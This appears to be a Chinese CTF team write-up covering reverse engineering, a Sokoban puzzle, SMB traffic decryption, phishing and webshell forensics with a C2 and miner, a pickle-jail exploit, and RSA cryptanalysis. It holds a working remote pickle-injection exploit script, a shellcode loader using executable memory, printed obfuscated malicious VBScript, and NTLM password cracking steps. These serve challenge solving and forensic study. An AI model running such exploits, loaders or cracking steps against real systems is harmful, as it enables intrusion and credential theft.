rc4_init(SBox, (unsigned char*)key, strlen(key));
unsigned char temp_j = 0, temp_i = 0, s = 0, s2 = 0, os = 0;
unsigned char* output = (unsigned char*)malloc(30);
unsigned char temp=0, s0=0;
// 第五位开始比较
for (int j = 0; j < 22; j++) {
temp = SBox[++temp_j];
temp_i += temp;
SBox[temp_j] = SBox[temp_i];
SBox[temp_i] = temp;
s0 = ((((((input[j + 5] << 7) | (input[j + 5] >> 1)) << 6) ^ 0xC0) | ((((input[j + 5] << 7) | (input[j + 5] >> 1)) & 0xff) >> 2) ^ 0x3B) ^ 0xBE);
os = ((((((((((s0 << 5) | (s0 >> 3)) ^ 0xAD) & 0xff) << 4) | (((((s0 << 5) | (s0 >> 3)) ^ 0xAD) & 0xff) >> 4)) ^ 0xDE) & 0xff) << 3) | (((((((((s0 << 5) | (s0 >> 3)) ^ 0xAD) & 0xff) << 4) | (((((s0 << 5) | (s0 >> 3)) ^ 0xAD) & 0xff) >> 4)) ^ 0xDE) & 0xff) >> 5));
//rc4异或魔改
output[j] = SBox[(SBox[temp_j] + temp) & 0xff] ^ dead[j & 3] ^ os;
}
for (int i = 0; i < 22; i++) {
output[i] ^= xors;
}
return output;
}
int main() {
char inputflag[] = "flag{flag{dynamic_reverse}}";
//调换位置后的密文
unsigned char result[] = { 0xc4,0xee,0x3c,0xbb,0xe7,0xfd,0x67,0x9d,0xf8,0x97,0x68,0x1d,0xdf,0x7f,0xc7,0x80,0xb,0xf9,0x4b,0xa0,0x46,0x91 };
unsigned temp = 0;
//经过尝试,0xa是真的xor,程序给了16、3、0xa
int k = 0xa;
for (int i = 0; i < 22; i++) {
for (int j = 0x30; j < 0x7f; j++) {
inputflag[5 + i] = j;
unsigned char* output = rc4((char*)inputflag, k);
if (result[i] == output[i]) {
inputflag[5 + i] = j;
break;
}
}
}
printf("%s", inputflag);
return 0;
}
boxx
400 = 20*20
九张地图
不是走迷宫 好像是推箱子 3是箱子 4是位置 2是人
手撸一下
路径都是比较简单的
最后输出是
恭喜你完成本次关卡!※
flag是每个关卡中每个箱子移动的最短的次数拼接的md5码值和几个字符,1.flag{四个字符_md5值},2.注意同一张图箱子不一定只有一 个哦3.同一关需要计算所有箱子的总的最小移动次数,将每一关的最短次数拼接 解释:例如第一关是3第二关是5,就是md5(35...)
有四个字符 很明显地图多了几张 输出出来就是
再加上路径推箱子的步数的md5值就是flag
推箱子地图就按照每个地图走就行了 再把结果整合一下
2 4+8 13 9 21 6+7 25 15+5+11 3
flag{qwb!_fec2d316d20dbacbe0cdff8fb6ff07b9}
MISC - 8
谍影重重
我国某部门已经连续三年对间谍张纪星进行秘密监控,最近其网络流量突然出现大量的神秘数据,为防止其向境外传送我国机密数据,我们已将其流量保存,请你协助我们分析其传输的秘密信息。
附件下载 提取码(GAME)备用下载
解smb,tom的密码爆出来是babygirl233
from Crypto.Cipher import ARC4
from Crypto.Hash import MD4, MD5, HMAC
password = 'babygirl233'
passwordHash = MD4.new(password.encode('utf-16-le')).hexdigest()
username = 'tom'
domain = '.'
ntProofStr = 'ca32f9b5b48c04ccfa96f35213d63d75'
sessionKey = '5643a37f253b00b2f52df1afd48c1514'
responseKey = HMAC.new(bytes.fromhex(passwordHash), (username.upper(
)+domain.upper()).encode('utf-16-le'), MD5).digest()
keyExchangeKey = HMAC.new(responseKey, bytes.fromhex(ntProofStr), MD5).digest()
decryptedSessionKey = ARC4.new(
keyExchangeKey).decrypt(bytes.fromhex(sessionKey))
print('Decrypted SMB Session Key is: {}'.format(decryptedSessionKey.hex()))
但是我sessionkey算的不对不知道哪里错了,抄的脚本
原来没错,session是小端序
wireshark里面协议里面找smb2然后填:
id: 0900000000100000
key: a3abe4d64394909a641062342ffe291b
smb流量传输的东西:
暂时无法在飞书文档外展示此内容
暂时无法在飞书文档外展示此内容
暂时无法在飞书文档外展示此内容
pfx爆破获得密码,转成key,导入流量包,流量包用replay导出
获得key,解压压缩包获得flag
<Space released>f'
<Shift pressed>{
<Shift released>windows
<Shift pressed>_
<Shift released>password
<Shift pressed>}
<Shift released>9347013182'
<Control pressed>s
密码babygirl2339347013182
Master of DFIR - Phishing
-
受害者的邮箱是什么?
请输入你的答案 > b9cae449f959162f0297fa43b458bd66
正确✅!
-
攻击者所投放的文件md5是什么? (注意:以md5sum的结果为准) 示例:33ec9f546665aec46947dca16646d48e
请输入你的答案 > f436b02020fa59f3f71e0b6dcac6c7d3
正确✅!
-
攻击者所使用的攻击载荷后缀是什么? 示例:lnk
请输入你的答案 > msc
正确✅!
-
攻击者所投放样本的初始执行语句在该攻击载荷文件的第几行? 示例:20
请输入你的答案 > 97
正确✅!
半蒙半猜就完事了
-
经过初始执行后,攻击者所加载的第二部分载荷所使用的语言是什么? 示例:javascript
请输入你的答案 > vbscript
正确✅!
<ms:script implements-prefix="user" language="VBScript">
-
攻击者所进行的第二部分载荷其将白EXE存在了什么地方? (注意:需要提供完成的解混淆后的第二部分载荷s***s函数的参数) 提交需要MD5(参数内容) 以Cyberchef结果为准 示例:9b04d152845ec0a378394003c96da594
请输入你的答案 > 69b23cfd967d07c39d1517e2a3c37e34
正确✅!
慢慢手动解混淆就完事了,这道题要的在这里
Set aZPHxtz4=RTcxFmy.selectNodes( Chr(47)&Chr(&H4d)&Chr(77)&"C"&Chr(95)&Chr(Int("&H43"))&"o"&Chr(Int("110"))&Chr(&H73)&Chr(Int("111"))&"l"&Chr(&H65)&Chr(Int("&H46"))&"i"&Chr(5094-4986)&Chr(101)&Chr(Int("47"))&Chr(331-265)&Chr(105)&Chr(Int("&H6e"))&Chr(Int("&H61"))&Chr(&H72)&Chr(Int("121"))&Chr(&H53)&Chr(116)&"o"&"r"&Chr(-1088+1185)&Chr(2152-2049)&Chr(266943/2643)&Chr(Int("47"))&Chr(-385+451)&Chr(105)&Chr(Int("&H6e"))&Chr(Int("&H61"))&Chr(114)&Chr(Int("&H79"))&Chr(91)&"@"&Chr(Int("78"))&Chr(Int("97"))&Chr(&H6d)&Chr(&H65)&Chr(Int("&H3d"))&Chr(3877-3838)&Chr(Int("67"))&Chr(&H4f)&Chr(78)&Chr(83)&Chr(79)&Chr(Int("&H4c"))&Chr(Int("69"))&Chr(419-324)&"M"&Chr(Int("&H45"))&Chr(Int("78"))&"U"&Chr(Int("39"))&Chr(Int("&H5d")) )
Ze1C=aZPHxtz4(0).text
Set aZPHxtz4 = RTcxFmy.selectNodes( Chr(&H2f)&Chr(-1536+1613)&Chr(4928/64)&Chr(67)&Chr(345-250)&Chr(Int("67"))&Chr(111)&"n"&Chr(&H73)&Chr(Int("&H6f"))&Chr(&H6c)&Chr(Int("101"))&Chr(145110/2073)&Chr(&H69)&Chr(108)&Chr(Int("101"))&Chr(Int("&H2f"))&Chr(66)&Chr(&H69)&Chr(1514-1404)&Chr(Int("97"))&Chr(Int("&H72"))&Chr(Int("121"))&Chr(83)&Chr(212744/1834)&Chr(&H6f)&Chr(Int("114"))&Chr(Int("97"))&Chr(&H67)&Chr(-749+850)&Chr(-3015+3062)&Chr(Int("&H42"))&"i"&Chr(&H6e)&Chr(Int("&H61"))&Chr(114)&Chr(Int("&H79"))&Chr(Int("91"))&Chr(&H40)&Chr(Int("&H4e"))&Chr(&H61)&Chr(109)&Chr(101)&Chr(&H3d)&Chr(-548+587)&Chr(67)&Chr(Int("&H4f"))&Chr(3379-3301)&"S"&"O"&Chr(-1145+1221)&Chr(Int("&H45"))&"_"&Chr(-626+706)&Chr(Int("65"))&Chr(78)&"E"&Chr(39)&Chr(Int("93")) )
JozMh9jg=aZPHxtz4(0).text
WScript.Echo Chr(47)&Chr(&H4d)&Chr(77)&"C"&Chr(95)&Chr(Int("&H43"))&"o"&Chr(Int("110"))&Chr(&H73)&Chr(Int("111"))&"l"&Chr(&H65)&Chr(Int("&H46"))&"i"&Chr(5094-4986)&Chr(101)&Chr(Int("47"))&Chr(331-265)&Chr(105)&Chr(Int("&H6e"))&Chr(Int("&H61"))&Chr(&H72)&Chr(Int("121"))&Chr(&H53)&Chr(116)&"o"&"r"&Chr(-1088+1185)&Chr(2152-2049)&Chr(266943/2643)&Chr(Int("47"))&Chr(-385+451)&Chr(105)&Chr(Int("&H6e"))&Chr(Int("&H61"))&Chr(114)&Chr(Int("&H79"))&Chr(91)&"@"&Chr(Int("78"))&Chr(Int("97"))&Chr(&H6d)&Chr(&H65)&Chr(Int("&H3d"))&Chr(3877-3838)&Chr(Int("67"))&Chr(&H4f)&Chr(78)&Chr(83)&Chr(79)&Chr(Int("&H4c"))&Chr(Int("69"))&Chr(419-324)&"M"&Chr(Int("&H45"))&Chr(Int("78"))&"U"&Chr(Int("39"))&Chr(Int("&H5d"))
-
攻击者使用的这个白EXE加载黑DLL的手法所对应的MITRE ATT&CK ID是什么? (注意:请注意示例的提示提交大类即可不需要细化到分项) 示例: T1000
请输入你的答案 > T1574
-
攻击者所使用的黑DLL劫持了原始DLL的哪个函数? 示例: main
请输入你的答案 > curl_easy_init
正确✅!
一堆curl就curl_easy_init调用了函数,其他全都直接return
-
攻击者所使用的黑DLL解密下一阶段载荷所使用的Key是什么? (注意:请提交一段小写的十六进制字符串) 示例:1122334455
请输入你的答案 > f21a9d8b1e5d
正确✅!
sub_10001240丢给gpt是魔改的rc4,直接让gpt搓出来key就行
对应源码在这
-
攻击者所使用的下一阶段载荷的回连C2是什么? (注意:需要提供ip地址:端口的形式)
请输入你的答案 > 192.168.57.119:6000
正确✅!
-
攻击者所使用最终阶段载荷所使用的加密算法是什么? 示例:DES
请输入你的答案 > aes
正确✅!
根据User-Agent: orca/1.0,直接找到shellcode的项目https://github.com/Ptkatz/OrcaC2/tree/master/Orca_Master,翻一下源码就知道是aes了
-
攻击者所使用最终阶段载荷所使用的密钥的MD5是什么?
请输入你的答案 > a524c43df3063c33cfd72e2bf1fd32f6
手搓一个加载shellcode的东西,然后调试
int main(int argc, _TCHAR* argv[])
{
FILE* fp = fopen("./1.bin", "rb");
typedef void(*pfn)(void);
fseek(fp, 0, SEEK_END);
int shellcode_size = ftell(fp);
fseek(fp, 0, SEEK_SET);
auto pshellcode = (pfn)VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
fread(pshellcode, 1, shellcode_size, fp);
fclose(fp);
pshellcode();
}
单步调试shellcode,它会分配内存,再加载一个PE
继续单步调试,key就会出现在VirtualAlloc分配的空间里了
md5("pJB`-v)t^ZAsP$|r")
-
攻击者使用了什么家族的C2? 示例:PoshC2
请输入你的答案 > OrcaC2
正确✅!
接上上题
Master of DFIR - Coffee
-
受害者操作系统是什么版本?以C2回显为准 示例:Microsoft Windows 7 专业版
请输入你的答案 > Microsoft Windows 10 教育版
直接让python搓个解密脚本即可
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
def aes_cbc_decrypt(encrypted_data_b64, key_b64):
"""
Decrypts data using AES CBC with PKCS#7 padding.
Args:
encrypted_data_b64: Base64 encoded ciphertext.
key_b64: Base64 encoded key.
Returns:
Decrypted data as a string, or None if an error occurs.
"""
try:
encrypted_data = base64.b64decode(encrypted_data_b64)
key = base64.b64decode(key_b64)
iv = encrypted_data[:AES.block_size]
ciphertext = encrypted_data[AES.block_size:]
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = unpad(cipher.decrypt(ciphertext), AES.block_size)
return decrypted_data.decode('utf-8') # Convert bytes to string
except (ValueError, KeyError) as e: # Handle padding and other crypto errors
print(f"Decryption error: {e}")
return None
# Example usage:
encrypted_data_b64 = "your_base64_encoded_ciphertext_here" # Replace with your ciphertext
key_b64 = "pJB`-v)t^ZAsP$|r" # Replace with your key
decrypted_text = aes_cbc_decrypt(encrypted_data_b64, key_b64)
if decrypted_text:
print("Decrypted text:", decrypted_text)
Decrypted text: {"SystemId":"9e4a7e9ebdd51913b5d724be14868e85","ClientId":"a55330f4-83c2-4081","Hostname":"DESKTOP-28DGVAU/Bob","Privilege":"admin","Ip":"192.168.100.143","ConnPort":"64251","Os":"Microsoft Windows 10 教育版","Version":"windows:0.10.9:386"}
Microsoft Windows 10 教育版
-
控制端ClientId是多少? 示例:c723d01b-5dc1-2601
请输入你的答案 > a55330f4-83c2-4081
接上题
-
攻击者下载的文件的保存名是什么? 示例:flag.txt
请输入你的答案 > history
Decrypted text: {"Fid":"962044b281aab4dd","SaveFileName":"history","SliceNum":3,"SliceSize":40960,"RemainSize":40960,"Md5sum":"1d6e440705fc0e76a9d09b6f6a750a9d"}
history
-
tomcat的用户名和密码是多少? 示例:admin:admin
请输入你的答案 > tomcat:beautiful
http.request || http.response.code==200
解get /manager/html返回包200的包的cookie
-
webshell的路径? 示例:/memshell/favicon.ico
请输入你的答案 > /help/help.jsp
-
webshell中加密算法的密钥是什么,若有多个,以加密顺序用_连接 示例:keya_keyb
请输入你的答案 > b42e327feb5d923b_82ca9b43c1b8ef8c
zip,解出来help.jsp是java马
-
被黑客窃取的云存储服务的管理员账户和密码是多少? 示例:admin:admin
请输入你的答案 > hhcloud:vipvip123
加密丢给gpt搓解密
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import zlib
def decrypt_data(data):
"""Decrypts and decompresses data using a multi-step process."""
try:
# 1. Base64 Decoding
decoded_data = base64.b64decode(data)
# 2. XOR Decryption
xor_key = "82ca9b43c1b8ef8c".encode()
xor_decrypted = bytearray()
for i, byte in enumerate(decoded_data):
xor_decrypted.append(byte ^ xor_key[(i + 1) % len(xor_key)])
# 3. AES Decryption
aes_key = "b42e327feb5d923b".encode("utf-8")
cipher = AES.new(aes_key, AES.MODE_ECB) # ECB mode as per the original Java code
aes_decrypted = unpad(cipher.decrypt(xor_decrypted), AES.block_size)
# 4. ZLIB Decompression
decompressed_data = zlib.decompress(aes_decrypted)
return decompressed_data
except Exception as e:
print(f"Decryption error: {e}")
return None
# Example usage:
encrypted_data_b64 = "QfRCJ0A4JIlk/nW13sR5UqBewyWOGm1wlpBFgmelNrecBJfszGCBwE+mjHMLy8f+jEUS/6l+jw2ySI2TKN6CTT5YuNFZdwATB0ncRj2TFUm5id5ePl/G4OXq7PNZebxH3QLA3T2IR0Mmmh2GJ2bZdbkgyaaX8X0J19Us90+s09bWz93ZOASu7qRq+fjuDvbXEZUbQ7K5b/aYsLutDBOtVnvHzv5iS0XDULkUYJo/Ix81vdqmPXew2KP1HUCwD227T0uXNnLU4ycFQ8+VF3U//KRIv3G5V5vmHPc0YhQaYQ9aEA7i65ghbF94iyxdYCyXCc9wTtUSyKC1ostGx0izzPP9ubt+7o43JJCYX3mZwRlPDbAKsvzgGorTu8GKm2p/" # Replace with your actual encrypted data
decrypted_data = decrypt_data(encrypted_data_b64)
if decrypted_data:
print(f"Decrypted data: {decrypted_data.decode('utf-8')}") # Assuming the data is UTF-8 encoded
一个一个解过去,后面很大的一个返回包能解出个sqlite,密码cmd5查明文就好了
-
挖矿程序落地的文件是什么? 示例:miner.exe
请输入你的答案 > sys_update.exe
解256流读的文件列表,有个exe
b'.'
b'..'
b'.com_ibm_tools_attach'
b'.ses'
b'config.json'
b'cv_debug.log'
b'e.ps1'
b'edge_BITS_2604_1136515722'
b'edge_BITS_3284_1196656674'
b'edge_BITS_3284_337215403'
b'edge_BITS_3620_1149045325'
b'edge_BITS_368_90306922'
b'edge_BITS_4164_1864533882'
b'edge_BITS_4196_1668990188'
b'edge_BITS_4920_589744510'
b'edge_BITS_6232_2030857555'
b'edge_BITS_7652_1314319280'
b'edge_BITS_8144_1018489678'
b'edge_BITS_8144_120006752'
b'edge_BITS_8144_956156741'
b'edge_BITS_8328_1148727345'
b'edge_BITS_8460_1126298277'
b'edge_BITS_8460_1388783925'
b'edge_BITS_8460_1621258461'
b'edge_BITS_8460_1962247277'
b'edge_BITS_8460_6601089'
b'edge_BITS_9580_1421026687'
b'hsperfdata_web'
b'kccsdkbak'
b'sendMyDeviceReport'
b'sqlite-3.32.3.3-f90dc5a1-3ae2-4d5b-a8cb-eaf79c358348-sqlitejdbc.dll'
b'sqlite-3.41.2.2-83b399a0-bd68-4d1e-87f2-31d386fcc2cd-sqlitejdbc.dll'
b'sqlite-3.41.2.2-83b399a0-bd68-4d1e-87f2-31d386fcc2cd-sqlitejdbc.dll.lck'
b'sqlite-3.41.2.2-e8974c67-7a9c-4b5a-96fa-91b39d0f932a-sqlitejdbc.dll'
b'sqlite-3.41.2.2-e8974c67-7a9c-4b5a-96fa-91b39d0f932a-sqlitejdbc.dll.lck'
b'sys_update.exe'
b'tomcat-docbase.8080.1512511079812831623'
b'tomcat-docbase.8080.2272907564054824643'
b'tomcat.8080.1537643384302459463'
b'tomcat.8080.1621374646136287414'
b'tomcat.8080.2080744620786587989'
b'tomcat.8080.4582018531292635697'
b'tomcat.8080.4900681566228011329'
b'tomcat.8080.5815590060809683446'
b'tomcat.8080.7091869943617127699'
b'tomcat.8080.7757443727365353509'
b'tomcat.8080.7834407608489067612'
b'vmware-web'
b'wct2D9.tmp'
b'wct5633.tmp'
b'wct5634.tmp'
b'wct6648.tmp'
b'wct6818.tmp'
b'wct6819.tmp'
b'wct6A0B.tmp'
b'wct85DE.tmp'
b'wct86FD.tmp'
b'wct9328.tmp'
b'wctC1D0.tmp'
b'wctD6A.tmp'
b'wctDA54.tmp'
b'wctDA55.tmp'
b'wctE63D.tmp'
b'wctE891.tmp'
b'wctE8BF.tmp'
b'wctE98B.tmp'
b'wctF526.tmp'
b'wps'
-
该挖矿程序回连的矿池域名是什么? 示例:www.baidu.com
请输入你的答案 > auto.skypool.xyz
257流url
恭喜你完成了所有任务,这是你的flag 🚩
pickle_jail
原题
利用flag{}的}正好是EMPTY_DICT字节码,利用一个字节的+1将B改成C长度不同实现逃逸pickle字节码,构造三个元素的元组让unpickler返回
但是原题是构造 (
利用name in persons判断 把name构造成flag{开头的字符串 persons构造成包含flag的字符串 如果匹配成功 则会输出 joined this game, but here is no flag 以此测信道盲注 每次比较一个字节
除了0x0a长度的时候 readlines不能有\n 两个字节一起测避开0x0a长度(或者用lag{作为开头测这一字节也行,但你知道改这exp调长度多恶心吗?)
from pwn import *
import struct
context.log_level = 'debug'
def test(flag):
# io = process(['python3', 'pickle_jail.py'])
io = remote('47.94.231.2', 32875)
try:
io.recvuntil(b'Play this game to get the flag with these players: ')
names = io.recvuntil(b']',drop=False)
names = eval(names)
print(names)
# pickle byte code length, names are 00-50 fake names
# flag is flag{uuid4 without }
exp_length = len(b'\x94]\x94(C\x0200\x94C\x0201\x94C\x0202\x94C\x0203\x94C\x0204\x94C\x0205\x94C\x0206\x94C\x0207\x94C\x0208\x94C\x0209\x94C\x0210\x94C\x0211\x94C\x0212\x94C\x0213\x94C\x0214\x94C\x0215\x94C\x0216\x94C\x0217\x94C\x0218\x94C\x0219\x94C\x0220\x94C\x0221\x94C\x0222\x94C\x0223\x94C\x0224\x94C\x0225\x94C\x0226\x94C\x0227\x94C\x0228\x94C\x0229\x94C\x0230\x94C\x0231\x94C\x0232\x94C\x0233\x94C\x0234\x94C\x0235\x94C\x0236\x94C\x0237\x94C\x0238\x94C\x0239\x94C\x0240\x94C\x0241\x94C\x0242\x94C\x0243\x94C\x0244\x94C\x0245\x94C\x0246\x94C\x0247\x94C\x0248\x94C\x0249\x94h\x00e\x8c*flag{41d6a881-19df-4f66-b84b-00513a00478f')
# replace the fake name length with given name length
length = exp_length+249 - (2*50) + sum([len(name) for name in names]) - len(flag)
print(length)
pl = b""
# padding to reach shellcode
pl += b'A' * (0x2c-3)
pl += (
b'B' + struct.pack('<I', len(flag)) + flag +
b"B" # BINBYTES
+struct.pack('<I', length) # length of the padding
)
# make exp length >256 to trigger BINBYTES
pl += b'2' * (300 - len(pl))
print(pl)
io.send(pl)
io.sendline(b'\x0b')
result = io.recvuntil(b"Break this jail to get the flag!")
assert b'What happened? IDK...' not in result
result = b'joined this game, but here is no flag!' in result
return result
finally:
io.close()
def main():
flag = b'flag{'
while 1:
# \x0a is \n... can't use \n in readlines
# 手动测试这一位 连着两位一起测
if len(flag) == (0xa-1):
flag += b'd'
continue
for i in '0123456789abcdef-':
local_flag = flag + i.encode()
if test(local_flag):
flag = local_flag
print(flag)
break
else:
print('not found')
print(flag)
break
main()
givemesecret
CRYPTO - 4
21_steps
求汉明重量
https://stackoverflow.com/questions/15233121/calculating-hamming-weight-in-o1
上面那个是32bit的 看评论找找有没有泛用的代码
128bit方法:
用gpt改写
command = "B=A>>1;B=B&38597363079105398474523661669562635951089994888546854679819194669304376546645;A=A-B;B=A&23158417847463239084714197001737581570653996933128112807891516801582625927987;A=A>>2;A=A&23158417847463239084714197001737581570653996933128112807891516801582625927987;A=A+B;B=A>>4;A=A+B;A=A&6811299366900952671974763824040465167839410862684739061144563765171360567055;B=A>>8;A=A+B;B=A>>16;A=A+B;B=A>>32;A=A+B;B=A>>64;A=A+B;B=A&127;A=B^0;"
apbq
part1
paq = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
n1 = 89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589
p_q = gmpy2.iroot(paq**2-4*n1, 2)[0]
p1 = (paq+p_q)//2
q1 = n1//p1
e1 = 65537
d1 = inverse(e1, (p1-1)*(q1-1))
c1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
print(long_to_bytes(pow(c1, d1, n1)))
part2
https://github.com/DownUnderCTF/Challenges_2023_Public/blob/main/crypto/apbq-rsa-ii/solve/solv.sage
V = hints =
k = 2 ^ 800
n =
M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len(V)))
B = [b[1:] for b in M.LLL()]
M = (k * Matrix(B[:len(V)-2])).T.augment(Matrix.identity(len(V)))
B = [b[-len(V):] for b in M.LLL() if set(b[:len(V)-2]) == {0}]
for s, t in itertools.product(range(4), repeat=2):
T = s*B[0] + t*B[1]
print(T)
a1, a2, a3 = T[:3]
kq = gcd(a1 * hints[1] - a2 * hints[0], n)
if 1 < kq < n:
print('find!', kq, s, t)
break
for i in range(2**16, 1, -1):
if kq % i == 0:
kq //= i
q = int(kq)
p = int(n // kq)
d = pow(0x10001, -1, (p - 1) * (q - 1))
print(p, q)
part3
用part2的密钥解。。。
traditional_game
关键代码为
random.seed(secret + str(int(time.time())).encode())
rsa = RSA()
token = os.urandom(66)
print( "[+] Welcome to the game!")
print(f"[+] rsa public key: {rsa.get_public_key()}")
coins = 100
price = 100
while coins > 0:
print("=================================")
b = random.randint(0,1)
c = rsa.game(
b'bit 0:' + os.urandom(114),
b'bit 1:' + os.urandom(114),
b)
print("[+] c:",c)
guessb = int(input("[-] b:"))
coins -= 1
if guessb == b:
price -= 1
print("[+] correct!")
else:
print("[+] wrong!")
if price != 0:
print("[-] game over!")
exit()
oracle中给了交互,相当于能够知道使用当前seed生成的100个32bit随机数的最低位。而seed与seed之间存在高byte相同(并且中间的time部分高位已知),可以尝试以此为切入点进行分析。
注意到time带了int,此时part1直接双进程交互,一个拿一个交
from hashlib import sha256
from pwn import *
context.log_level = 'debug'
import re
import gmpy2
import libnum
a = remote('47.94.237.181',30782)
b = remote('47.94.237.181',30782)
b.recvuntil(b'rsa public key: ')
pubkey = eval(b.recvline())
for i in range(100):
a.recvuntil(b'[-] b:')
b.recvuntil(b'[-] b:')
a.sendline(b'1')
if b'correct' in a.recvline():
b.sendline(b'1')
else:
b.sendline(b'0')
b.recvuntil(b'is: ')
privkey = eval(b.recvline()[:-2])
b.recvuntil(b'is: ')
enc = eval(b.recvline())
b.recvuntil(b'guess token:')
print('n = ',pubkey[0])
print('e = ',pubkey[1])
print('enc = ',enc)
print('d_ = ',privkey[0])
print('blind = ',privkey[1])
b.sendline(input().encode())
b.recv()
b.recv()
b.recv()
k是固定的,可以使用密码赛11题类似的方法求出,验证代码如下
n = 72002775317113688540285467671785030264214376134969177894386312150568554267864510238114124791103314081013890542077634384796996108441641259367491852737439283875815904913961193178967651247603461327324881612452957271602668892013627196968069470178106537853725618118244679187226724369629568003877232335388143025421
e = 315877627939914682167275979171048924911
d_ = 51922392037054965957994618792545191283979879052769311017420397943569729387241291615967860347543490837943194867963559620326233806950203605430695561698099370379711352056567716185665995739452373593820321078614603310911807288759647808038104413677259085086482871151447742963730089791217336473149711277887953445987
dh = d_>>365<<365
print(dh*e//n)
print((((d_>>365)+2^40)<<365)*e//n)
k = dh*e//n+1
由于式子的说服力不大,copper跑出来的解一定是非唯一解,还要补一个p+q高位攻击,然后上面的d的式子感觉有问题,因为d_l是d%blind,和我写的式子里的dl%blind非等价,因此我这里换了一种构造,有d=d'+tblind,t取365位,这样就直接变成一个二元copper了
p = getPrime(512)
q = getPrime(512)
e = getPrime(128)
d = inverse_mod(e,(p-1)*(q-1))
k = (d_>>365<<365)*e//n+1
n = p*q
print((e*d-1)/(p-1)/(q-1))
blind_bit = 40
unknown_bit = 365
blind = getPrime(40)
d_ = ((int(d >> unknown_bit) // blind * blind) << unknown_bit) + int(d % blind)
k = (d_>>365<<365)*e//n+1
print(k)
PR.<t,y> = PolynomialRing(Zmod(n))
dd= d_+t*blind
f = e * dd-1-k+k*y
res = small_roots(f,[2^121,2^513],m=3,d=3)
print(res)
二元以后式子就变成了f=ed_+etblind-1-k+ky=ky+etblind+A,这里的解显然是非唯一的,我们从中读取p+q的高位,随后打出mod e*blind下的低位即可使用p高低位分解n
from Crypto.Util.number import *
p = getPrime(512)
q = getPrime(512)
e = getPrime(128)
d = inverse_mod(e,(p-1)*(q-1))
n = p*q
print((e*d-1)/(p-1)/(q-1))
blind_bit = 40
unknown_bit = 365
blind = getPrime(40)
d_ = ((int(d >> unknown_bit) // blind * blind) << unknown_bit) + int(d % blind)
k = (d_>>365<<365)*e//n+1
print(k)
PR.<y> = PolynomialRing(GF(e))
dd= d_+(2^364+t)*blind
f = e * d_-1-k+k*y-k*n
f = f.monic()
ans1 = (f.roots())[0][0]
PR.<y> = PolynomialRing(GF(blind))
dd= d_+(2^364+t)*blind
f = e * d_-1-k+k*y-k*n
f = f.monic()
ans2 = (f.roots())[0][0]
sl = crt([int(ans1),int(ans2)],[e,blind])
from Crypto.Util.number import *
p = getPrime(512)
q = getPrime(512)
e = getPrime(128)
d = inverse_mod(e,(p-1)*(q-1))
n = p*q
print((e*d-1)/(p-1)/(q-1))
blind_bit = 40
unknown_bit = 365
blind = getPrime(40)
d_ = ((int(d >> unknown_bit) // blind * blind) << unknown_bit) + int(d % blind)
k = (d_>>365<<365)*e//n+1
print(k)
PR.<y> = PolynomialRing(GF(e))
dd= d_+(2^364+t)*blind
f = e * d_-1-k+k*y-k*n
f = f.monic()
ans1 = (f.roots())[0][0]
g = y*ans1-y^2-n
ans1 = (g.roots())
PR.<y> = PolynomialRing(GF(blind))
dd= d_+(2^364+t)*blind
f = e * d_-1-k+k*y-k*n
f = f.monic()
ans2 = (f.roots())[0][0]
g = y*ans2-y^2-n
ans2 = (g.roots())
pl = []
for i in ans1:
for j in ans2:
pl.append(crt([int(i[0]),int(j[0])],[e,blind]))
PR.<t,y> = PolynomialRing(Zmod(n))
dd= d_+t*blind
f = e * dd-1-k+k*y
res = small_roots(f,[2^365,2^513],m=3,d=3)
sh = (Integer(res[0][1])//(2^240*(e*blind))*(2^240*(e*blind)))
sh,sl = int(sh),int(sl)
R.<x> = PolynomialRing(RR)
f = x*sh-x^2-n
for i in (f.roots()):
print(int(i[0])//(2^295*(e*blind)))
print(p//(2^295*(e*blind)))
print(q//(2^295*(e*blind)))
print(pl)
print(p%(e*blind))
print(q%(e*blind))
n = 102642901981254336098741747901172623420780166411939105514052740446882958665848294634734493521923135968206631731063545985873030384483603322024027363922845704172565750971004040435693888211035001187762691190015722006812389086234534328009533471082543961873925283751263529332350672577866481109981599924535404678609
e = 189962433296636397858189439802032661917
enc = 28771293736931749995716546027370674911206676274871427781396414082173158555294868267893888579143759861830466052799720184780861107352149304416397071383905926168134417119958776118941475186883102528786883679401669077012056245905356660833975808039547903562663061693483779468104875191104249885779657493984783162615
d_ = 100565854715514297680956395274954461633846200299142718012397038688128749886083340847497969494321576273757969813340344334088642104646663194967993170982423277963809256758994622541546512573355912794855916475734877810402651996977845354111473025191398757516919400032394220876938377887433988410139688569802853487467
blind = 863346911057
import itertools
def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality() #取得模数
f /= f.coefficients().pop(0) #最高次项系数化为0,coefficients是多项式的降次幂排列系数
f = f.change_ring(ZZ)
G = Sequence([], f.parent())
for i in range(m + 1):
base = N ^ (m - i) * f ^ i #收集基多项式
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)
# print(G)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []
n=72002775317113688540285467671785030264214376134969177894386312150568554267864510238114124791103314081013890542077634384796996108441641259367491852737439283875815904913961193178967651247603461327324881612452957271602668892013627196968069470178106537853725618118244679187226724369629568003877232335388143025421
